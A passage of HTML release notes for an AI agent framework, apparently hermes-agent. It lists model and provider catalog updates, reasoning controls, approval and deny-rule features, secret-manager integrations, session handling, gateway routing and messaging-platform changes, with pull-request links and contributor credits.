<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
